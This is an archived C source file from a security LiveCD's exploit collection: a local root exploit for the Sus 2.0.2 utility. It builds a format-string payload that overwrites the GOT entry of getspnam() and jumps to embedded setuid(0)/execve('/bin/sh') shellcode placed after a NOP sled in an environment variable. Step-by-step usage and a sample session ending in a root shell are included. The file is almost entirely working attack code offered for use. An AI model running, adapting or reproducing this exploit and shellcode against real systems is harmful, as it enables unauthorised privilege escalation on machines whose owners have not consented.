home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / unsus.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  141 lines

  1. /*                Sus 2.0.2 local root exploit
  2.  
  3. tested on Red Hat and Solaris. 
  4. usage: 
  5. ./unsus -o offset -g GOT address of getspnam() function
  6.  
  7. example: 
  8.  
  9. [root@localhost home]# objdump -R /usr/bin/sus | grep getspnam
  10.  
  11. /usr/bin/sus:     file format elf32-i386
  12.  
  13. 8049608 R_386_JUMP_SLOT getspnam
  14. [root@localhost home]# gcc unsus.c -o unsus
  15. [root@localhost home]# ./unsus
  16.  
  17. Sus 2.0.2 local root exploit
  18. by D4rk Eagle
  19. unl0ck team [http://unl0ck.blackhatz.info]
  20.  
  21. usage: unsus [options]
  22.  
  23. Options:
  24. -o [offset] -g [GOT]
  25.  
  26. [root@localhost home]# ./unsus -o 2000 -g 0x8049608
  27.                                                                                 
  28. Using: retaddr = 0xbffffe88, GOT = 0x8049608, OFFSET = 2000
  29.                                                                                 
  30. sh-2.05b#
  31.  
  32.         IT'S ALL :)
  33.  
  34. Greetz to: 
  35.  
  36. tal0n, n3o, stine, nekd0, mihey, b0r0dat0r, xoce, cr0n, f00n, xbIx, Darksock, forsyte.
  37.                     
  38. */
  39. #include <stdio.h>
  40. #include <stdlib.h>
  41. #include <string.h>
  42. #include <unistd.h>
  43. #include <getopt.h>
  44.  
  45. #define BIN "/usr/bin/sus"
  46.  
  47. char buf[100];
  48.  
  49. char shallcode[] = // unl0ck team demo shellcode :) example without setuid(0)
  50. "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
  51. "\x68\x2f\x62\x69\x6e\x89\xe3\x50"
  52. "\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
  53.  
  54. char shellcode[] = // 1337 unl0ck team small shellcode with setuid(0) ;) 
  55. "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
  56. "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
  57. "\x68\x2f\x62\x69\x6e\x89\xe3\x50"
  58. "\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
  59.  
  60. long getsp() {
  61. __asm__("movl %esp,%eax");
  62. }
  63.  
  64. // format string creator | xCrZx idea.
  65. char *fmt_str_creator(long GOT, long RET, int ALIGN) {
  66.  
  67.     long high,low;
  68.     memset(buf,0x00,sizeof(buf));
  69.  
  70.     high=(RET >> 16) & 0xffff; 
  71.     low = RET & 0xffff;
  72.  
  73.     sprintf(buf,"%c%c%c%c%c%c%c%c%%.%dx%%%d$hn%%.%dx%%%d$hn",
  74.     (char)((GOT&0xff)+2),(char)((GOT>>8)&0xff),(char)((GOT>>16)&0xff),(char)((GOT>>24)&0xff),
  75.     (char)(GOT&0xff),(char)((GOT>>8)&0xff),(char)((GOT>>16)&0xff),(char)((GOT>>24)&0xff),
  76.     (high>low)?(low-8):(high-8),
  77.     (high>low)?(ALIGN+1):(ALIGN),
  78.     (high>low)?(high-low):(low-high),
  79.     (high>low)?(ALIGN):(ALIGN+1));
  80.  
  81.     return buf;
  82.  
  83.  
  84. }
  85.  
  86. void usage() { 
  87. printf("\nSus 2.0.2 local root exploit\nby D4rk Eagle\nunl0ck team [http://unl0ck.blackhatz.info]\n\n");
  88. printf("usage: unsus [options]\n\nOptions:\n-o [offset] -g [GOT]\n\n");
  89. exit(0);
  90. }
  91.  
  92.  
  93. int main(int argc, char **argv) {
  94.  
  95.     long GOT;
  96.     long RET;
  97.     int ALIGN = 2, off = 0, opt;
  98.  
  99.     char *av[3], *ev[2];
  100.     char *hack, buff[100];
  101.  
  102.     hack = (char *)malloc(2000);
  103.     sprintf(hack, "HACK=");
  104.  
  105.     if ( argc < 4 ) { usage(); exit(0); }
  106.  
  107. while ((opt = getopt(argc, argv, "o:g:")) != -1) 
  108. {
  109.         switch (opt) {
  110.  
  111.         case 'o':
  112.             off = atoi(optarg);
  113.             break;
  114.  
  115.         case 'g':
  116.             sscanf(optarg, "0x%x", &GOT);
  117.             break;
  118.  
  119.         default:
  120.             usage();
  121.         }
  122. }
  123.  
  124.         memset(hack + 5, 0x90, 1000-1-strlen(shellcode));
  125.     sprintf(hack + 1000 - strlen(shellcode), "%s", shellcode);
  126.  
  127.         RET = getsp()+off;
  128.     printf("\nUsing: retaddr = 0x%x, GOT = 0x%x, OFFSET = %d\n\n", RET, GOT, off);
  129.     memset(buff,0x00,sizeof(buf));
  130.     sprintf(buff,"%s",fmt_str_creator(GOT+4,RET,ALIGN));
  131.  
  132.         av[0] = BIN;
  133.         av[1] = buff;
  134.         av[2] = 0;
  135.         ev[0] = hack;
  136.         ev[1] = 0;
  137.         execve(*av, av, ev);
  138.  
  139.     return 0;
  140. }
  141.